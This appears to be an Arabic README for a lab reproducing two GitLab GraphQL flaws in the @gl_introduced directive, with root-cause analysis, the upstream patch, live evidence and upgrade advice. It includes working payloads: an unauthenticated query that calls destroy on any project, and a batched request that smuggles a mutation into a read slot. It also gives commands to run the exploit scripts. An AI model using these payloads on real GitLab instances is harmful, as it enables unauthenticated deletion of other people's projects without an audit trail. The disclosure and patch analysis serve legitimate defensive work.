
يوفر استغلالات PoC وتحليل السبب الجذري لثغرتين في توجيه `@gl_introduced` في GraphQL الخاص بـ GitLab: تنفيذ الطرق بدون مصادقة وتبديل المستندات المجمّعة، مع التصحيح الرسمي وأدلة حية.
@gl_introduced في GitLab GraphQLمختبر إعادة إنتاج لثغرتين مترابطتين في ميزة فلتر الإصدارات في GraphQL الخاص بـ GitLab (التوجيه @gl_introduced). تقع كلتاهما في نفس منطقة الميزة، وتُصلَّحان بنفس التصحيح من upstream، وكلتاهما تسمحان لطلب GraphQL بالوصول إلى مسارات برمجية لم يصرّح بها أبدًا:
destroy) على النموذج الكامن خلف أي نوع GraphQL، فقط بتسمية حقل غير موجود ووسمه بـ @gl_introduced.| المتأثّر | 18.2 → <18.11.11, 19.0 → <19.0.8, 19.1 → <19.1.6, 19.2 → <19.2.4 |
| المُصلَّح | 18.11.11, 19.0.8, 19.1.6, 19.2.4 |
| هدف المختبر | gitlab/gitlab-ce:19.2.2-ce.0 (آخر بناء قبل التصحيح) |
| المُشغِّل | توجيه GraphQL @gl_introduced، بمفرده أو داخل دفعة |
docker-compose.yml Live vulnerable target (GitLab CE 19.2.2), :8929
patch-19.2.2-to-19.2.4.diff The upstream fix, version_filter only (the whole bug in ~60 lines)
harness/
live_test_fallback.sh PoC #1 -- live HTTP exploit, fallback-field method execution (unauthenticated)
live_test.sh PoC #2 -- live HTTP exploit, cross-operation document swap
run_poc.rb PoC #3 -- standalone, isolates the swap in plain graphql-ruby
loader.rb Loads the real 19.2.2 (vuln) or 19.2.4 (patched) version_filter source
Dockerfile Minimal ruby:3.3 runner for PoC #3 (no full GitLab needed)
src/
common/ Unchanged upstream files (shared by both variants) + demo schema
vuln/ Real 19.2.2 source of the files the patch touched
patched/ Real 19.2.4 source of the same files
evidence/
live_vuln_fallback_field.txt Captured output of PoC #1 against the live target
live_vuln.txt Captured output of PoC #2 against the live target
standalone_vuln.txt Captured output of PoC #3 (vuln)
standalone_patched.txt Captured output of PoC #3 (patched)
كل ما تحت src/ هو كود مصدري حرفي من upstream، ولم يُعَد تنفيذه أبدًا — فالمحمّل (loader) يضع src/vuln أو src/patched فوق src/common.
يتيح Gitlab::Graphql::VersionFilter::FutureFieldFallback للاستعلام الإشارة إلى حقل غير موجود بعد على أي نوع دون أن يفشل الطلب — وهو مخصّص للنشر المتدرج (rolling deploys)، حيث لا يحتوي مخطط العقدة القديمة بعد على حقل توفّره عقدة أحدث. يتحقق تجاوز get_field مما إذا كان الحقل المطلوب مفقودًا و كان الطلب موسومًا بـ contain_future_fields، وإذا كان الأمر كذلك فإنه يعيد حقلًا اصطناعيًا بدلًا من إلقاء خطأ:
# src/vuln/.../future_field_fallback.rb
def get_field(field_name, context = GraphQL::Query::NullContext.instance)
field = super
return field unless future_field?(name: field_name, field: field, context: context)
fallback_field(name: field_name)
end
def fallback_field(name:)
GraphQL::Schema::Field.new(
owner: self,
name: name,
type: GraphQL::Types::Boolean,
fallback_value: nil
)
end
المشكلة: هذا GraphQL::Schema::Field يُنشأ بدون أسلوب resolver، وبدون صنف resolver، وبدون كتلة. عندها يُطبَّق قرار الحقل الافتراضي الخاص بـ graphql-ruby (gem graphql 2.6.3، lib/graphql/schema/field.rb):
inner_object.public_send(@method_sym)
@method_sym هو اسم الحقل بصيغة underscore — أي بالضبط السلسلة التي وضعها المهاجم في الاستعلام. إذا وُجد على الكائن الكامن خلف نوع GraphQL (نموذج ActiveRecord) دالة عامة حقيقية بدون وسائط بهذا الاسم، فإن graphql-ruby يستدعيها ويعيد نتيجتها (بعد تحويل النوع). القيمة fallback_value: nil تُطبَّق فقط عندما لا تكون الدالة موجودة فعلًا — وهي لا تمنع تشغيل دالة حقيقية.
إذًا: استعلم عن أي نوع بحقل يحمل اسم دالة تدميرية حقيقية — مثل destroy — ووسمه بـ @gl_introduced حتى يصل إلى مرحلة التنفيذ، وستُستدعى الدالة.
ينفّذ IntroducedTracer بقية ميزة فلتر الإصدارات عبر خطّافَي تتبّع (trace hooks) في graphql-ruby — parse (مرة لكل عملية) وexecute_query (مرة لكل عملية). في البناء الثغري، يخزّن حالته الخاصة بكل عملية في متغيرات مثيل عادية على كائن التتبّع:
# src/vuln/.../introduced_tracer.rb
def parse(query_string:)
@original_query_document = super # <-- shared ivar
@contain_future_fields = false
filter = FutureFieldFilter.new(@original_query_document.dup)
filter.visit.tap { @contain_future_fields = filter.contain_future_fields }
end
def execute_query(query:)
return super unless @contain_future_fields
query.instance_variable_set(:@document, @original_query_document) # <-- swap
query.send(:prepare_ast)
query.context[:contain_future_fields] = @contain_future_fields
super
end
المشكلة: يشارك graphql-ruby مثيل تتبّع واحدًا بين كل عمليات الطلب المتعدد (multiplexed request)، ويحلّل كل هذه العمليات قبل تنفيذ أي منها. إذًا في دفعة من عمليتين:
parse(op1) → @original_query_document = op1_doc, @contain_future_fields = falseparse(op2) → @original_query_document = op2_doc, @contain_future_fields = true
(يحمل op2 حقلًا مستقبليًا @gl_introduced)بعد التحليل، لا يبقى سوى حالة آخر عملية. ثم يبدأ التنفيذ:
execute_query(op1) → العلامة true، لذا يُستبدل مستند op1 بـ op2_doc ويُعاد تجهيزه → فتحة op1 تنفّذ عملية op2.op1 صرّح بقراءة؛ لكنه ينفّذ كتابة op2.
يُغلق patch-19.2.2-to-19.2.4.diff الثغرتين معًا:
# future_field_fallback.rb -- give the fallback field an explicit resolver,
# so graphql-ruby never falls through to public_send on the field name
resolver_class: Resolvers::NilResolver
# NilResolver#resolve just returns nil, unconditionally -- no dispatch at all
# introduced_tracer.rb -- key the stashed state by each operation's own
# filtered document instead of one shared ivar
@introduced_tracer_data[filtered_document] = { original_document:, contain_future_fields: }
# ...
doc_data = @introduced_tracer_data[query.document] # no cross-operation bleed
query {
project(fullPath: "root/some-public-project") {
id
destroy @gl_introduced(version: "99.0.0")
}
}
لا يوجد ترويسة Authorization. عملية واحدة، بدون دفعة. destroy ليس حقلًا حقيقيًا على Project — فهو غير موجود في المخطط أصلًا — لكن التوجيه يجعل FutureFieldFilter يزيله قبل التحقق الثابت ويُفعّل contain_future_fields للتنفيذ، حيث يعيد get_field حقلًا بدون resolver باسم destroy، ويستدعي graphql-ruby الدالة project.public_send(:destroy).
تم التحقق منها مباشرةً على الهدف الحيّ (evidence/live_vuln_fallback_field.txt، وأُعيد إنتاجها ثلاث مرات مقابل ثلاثة مشاريع مؤقتة منفصلة): عند إرسالها ضد مشروع عام، كانت الاستجابة {"data":{"project":{"id":"...","destroy":true}}}. وأعاد فحص REST متابِع موثّق (GET /api/v4/projects/:id) رمز 404 — أي أن المشروع اختفى فعلًا. يُظهر سجل الطلبات الخاص بتلك المكالمة 9 عمليات كتابة متزامنة في قاعدة البيانات وصفرًا من صفوف AuditEvent الجديدة: تتجاوز المكالمة Projects::DestroyService بالكامل (ومعه مسار التدقيق، وwebhooks، والإشعارات) — فهي سلسلة حذف خام عبر ActiveRecord#destroy تُستدعى مباشرة من خلال قرار الحقل الافتراضي في GraphQL.
sequenceDiagram
participant A as Attacker
participant C as GraphqlController
participant T as IntroducedTracer (one shared instance)
participant S as StarProject mutation
A->>C: POST /api/graphql [ {query: op1}, {query: op2} ]
Note over A: op1 = query { currentUser { username } } (declared read)<br/>op2 = mutation { starProject(...) { count @gl_introduced(version:"99.0.0") } }
C->>T: parse(op1)
Note over T: @original = op1_doc, future=false
C->>T: parse(op2)
Note over T: @original = op2_doc, future=TRUE (overwrites op1 state)
C->>T: execute_query(op1)
T->>T: op1.@document = @original (op2_doc)#59; prepare_ast
T->>S: run starProject ← smuggled into the read slot
S-->>A: slot 1 returns { starProject: { count } } #59; star state changed
حمولة op2 — لا بد أن يقع توجيه @gl_introduced على حقل حقيقي فقط حتى يقلب FutureFieldFilter قيمة contain_future_fields أثناء التحليل ويُفعّل التبديل:
mutation {
starProject(input: { projectId: "gid://gitlab/Project/1", starred: false }) {
count @gl_introduced(version: "99.0.0")
}
}
تم التحقق مباشرةً على الهدف الحيّ (evidence/live_vuln.txt): الفتحة 1، التي صرّحت بـ query { currentUser { username } }، تعيد {"data":{"starProject":{"count":"0"}}} وينتقل عدد نجوم المشروع من 1 → 0.
docker compose up -d # first boot runs migrations; wait for healthy (~10 min)
GITLAB_URL=http://localhost:8929 \
GITLAB_TOKEN=<PAT with api scope -- used only to create/verify a disposable project> \
bash harness/live_test_fallback.sh
ينشئ السكربت مشروعًا عامًا مؤقتًا عبر REST API الموثّقة (إعداد فقط)، ثم يرسل استعلام GraphQL واحدًا غير موثّق يسمّي حقل destroy موسومًا بـ @gl_introduced، ثم يعيد فحص المشروع عبر REST الموثّقة. ويعلن VULNERABLE إذا اختفى المشروع.
GITLAB_URL=http://localhost:8929 \
GITLAB_TOKEN=<PAT with api scope> \
PROJECT_FULL_PATH=root/cve-lab-target \
bash harness/live_test.sh
يقرأ السكربت الحالة الأساسية للنجوم، ويرسل دفعة العمليتين، ويعلن VULNERABLE إذا أعادت الفتحة 1 المصرِّحة بالقراءة حمولة starProject (و/أو تغيّر عدد النجوم).
يعزل Gitlab::Graphql::VersionFilter في تطبيق graphql-ruby مصغّر بحيث يصبح التبديل مرئيًا دون أي ضوضاء من GitLab. ويحمّل الكود المصدري الرسمي الحقيقي.
docker build -t cve-2026-19478-poc -f harness/Dockerfile .
docker run --rm cve-2026-19478-poc harness/run_poc.rb vuln # -> VULNERABLE
docker run --rm cve-2026-19478-poc harness/run_poc.rb patched # -> SAFE
تم تأكيد مساري الاستغلال مباشرةً على gitlab/gitlab-ce:19.2.2-ce.0. يحملان درجات مختلفة من التعرض للصلاحيات لأنهما يصطدمان بطبقات مختلفة من بنية GitLab.
بدون أي رمز مميز (token)، وبدون دمج، واستعلام واحد. تعيد الاستجابة نتيجة الدالة مباشرةً ("destroy": true)، ويُدمَّر السجل الكامن فعلًا — وهو ما تأكد عبر REST الموثّقة (404) وعبر أدلة من جانب الخادم (صفر صفوف AuditEvent، و9 عمليات كتابة متزامنة في طلب واحد)، ما يعني أنها تتجاوز خدمة الحذف العادية في GitLab بالكامل. أُعيد إنتاجها ثلاث مرات بشكل مستقل، مقابل ثلاثة مشاريع مؤقتة منفصلة. أي نوع GraphQL يكون كائنه الخلفي مكشوفًا لدالة تدميرية حقيقية بدون وسائط هو مرشح محتمل.
باستخدام أي رمز مميز يحمل نطاق api، تنفّذ عملية صرّحت بقراءة عملية كتابة لم تطلبها أبدًا (عدد النجوم 1 → 0، عبر فتحة من نوع query). عند إرسالها بلا رمز مميز، يظل التبديل يعمل — إذ تصل فتحة القراءة فعلًا إلى starProject وتحلّه — لكن كل طفرة في GitLab ترث من Mutations::BaseMutation، التي تعمل بوابة self.authorized? الخاصة بها في وقت التنفيذ:
Ability.allowed?(context[:current_user], :execute_graphql_mutation, :global)
بالنسبة لطلب مجهول، تكون current_user مساويةً nil، وينفّذ GlobalPolicy القاعدة rule { anonymous }.policy { prevent :execute_graphql_mutation }. في مسح شمل 10 ترتيبات دفعات (الترتيب، التوجيه على حقل / حقل فرعي / جزء مضمّن inline fragment، دفعات من عمليتين وثلاث عمليات) دون مصادقة: تصطدم الفتحة المختطفة بالبوابة في كل مرة ولا يتغيّر عدد النجوم أبدًا.
هذه البوابة خاصة بالطفرات (mutations) — ولا علاقة لها بـ 1a، التي لا تلمس Mutations::BaseMutation إطلاقًا؛ فالحقل الاحتياطي يُحلّ مباشرةً مقابل النموذج كحقل عادي من نوع استعلام، دون أي فحص تفويض في المسار نهائيًا.
الملف src/common/demo_app.rb لا يحتوي على أي طبقة تفويض إطلاقًا — فطفرة تكتب فقط. لذا يوضّح PoC #3 آلية التبديل (فتحة قراءة تنفّذ كتابة) في بيئة رملية (sandbox) دون مصادقة. أما GitLab الحقيقي فيفرض بوابة execute_graphql_mutation التي يحذفها العرض التوضيحي — تحديدًا بالنسبة إلى 1b. في هذا البناء الأصلي، لا يمكن الوصول إلى كتابة ناتجة عن طفرة بدون بيانات اعتماد عبر 1b وحدها؛ بل يمكن الوصول إليها عبر 1a، التي لا تحتاج إلى أي طفرة إطلاقًا.
قم بالترقية إلى 18.11.11 / 19.0.8 / 19.1.6 / 19.2.4 أو أحدث. يقوم التصحيح (انظر الفرق) بأمرين: يمنح future_field_fallback.rb الحقل الاحتياطي resolver صريحًا (Resolvers::NilResolver، الذي يعيد دائمًا nil) بدلًا من الاعتماد على إرسال الأسلوب الافتراضي في graphql-ruby، فيُغلق 1a؛ ويقتصر introduced_tracer.rb على نطاق حالة التتبّع الخاصة بكل عملية داخل مستند العملية نفسه بدلًا من متغير مشترك، فيُغلق 1b.